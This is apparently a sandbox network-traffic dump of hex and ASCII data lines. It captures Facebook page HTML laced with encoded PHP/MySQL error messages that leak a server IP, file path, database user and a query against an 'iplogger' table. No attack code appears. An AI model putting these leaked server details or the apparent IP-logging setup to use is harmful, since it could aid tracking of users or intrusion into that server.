64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 Data Ascii: b%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3
2022-10-08 09:34:05 UTC	32	IN	Data Raw: 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 Data Ascii: orebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u0025
2022-10-08 09:34:05 UTC	33	IN	Data Raw: 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 Data Ascii: 520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250
2022-10-08 09:34:05 UTC	35	IN	Data Raw: 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 77 59 57 64 69 67 64 53 6a 6e 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 Data Ascii: 064;'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='wYWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font
2022-10-08 09:34:05 UTC	36	IN	Data Raw: 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 Data Ascii: u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u0025
2022-10-08 09:34:05 UTC	38	IN	Data Raw: 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 Data Ascii: ill%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mys
2022-10-08 09:34:05 UTC	39	IN	Data Raw: 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 Data Ascii: deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.ph
2022-10-08 09:34:05 UTC	41	IN	Data Raw: 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 77 59 57 64 69 67 64 53 6a 6e 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 Data Ascii: 1'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='wYWdigdSjn'\u002520limit\u0025200,1\u00253Cbr
2022-10-08 09:34:05 UTC	42	IN	Data Raw: 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 Data Ascii: %3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%2
2022-10-08 09:34:05 UTC	44	IN	Data Raw: 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f Data Ascii: ES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/
2022-10-08 09:34:05 UTC	45	IN	Data Raw: 65 3d 22 50 6f 72 74 75 67 75 65 73 65 20 28 50 6f 72 74 75 67 61 6c 29 22 3e 50 6f 72 74 75 67 75 c3 aa 73 20 28 50 6f 72 74 75 67 61 6c 29 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 71 2d 61 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 Data Ascii: e="Portuguese (Portugal)">Portugus (Portugal)</a></li><li><a class="_sv4" dir="ltr" href="https://sq-al.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed
2022-10-08 09:34:05 UTC	47	IN	Data Raw: 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 71 2d 61 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 Data Ascii: quot;, "en_US", "https:\/\/sq-al.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520
2022-10-08 09:34:05 UTC	48	IN	Data Raw: 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 Data Ascii: 3\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040&#039
2022-10-08 09:34:05 UTC	50	IN	Data Raw: 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e Data Ascii: 36.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.
2022-10-08 09:34:05 UTC	51	IN	Data Raw: 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 Data Ascii: 0253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u00252
2022-10-08 09:34:05 UTC	52	IN	Data Raw: 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 35 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 53 70 61 6e 69 73 68 22 3e 45 73 70 61 c3 b1 6f 6c Data Ascii: TOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_list_selector", 5); return false;" title="Spanish">Espaol
2022-10-08 09:34:05 UTC	54	IN	Data Raw: 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 74 72 5f 54 52 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 74 72 2d 74 72 Data Ascii: A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" onclick="require("IntlUtils").setCookieLocale("tr_TR", "en_US", "https:\/\/tr-tr
2022-10-08 09:34:05 UTC	55	IN	Data Raw: 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c Data Ascii: 520resource,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\
2022-10-08 09:34:05 UTC	57	IN	Data Raw: 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 Data Ascii: 0/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C
2022-10-08 09:34:05 UTC	58	IN	Data Raw: 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 Data Ascii: root\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C
2022-10-08 09:34:05 UTC	60	IN	Data Raw: 23 30 33 39 3b 77 59 57 64 69 67 64 53 6a 6e 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 Data Ascii: 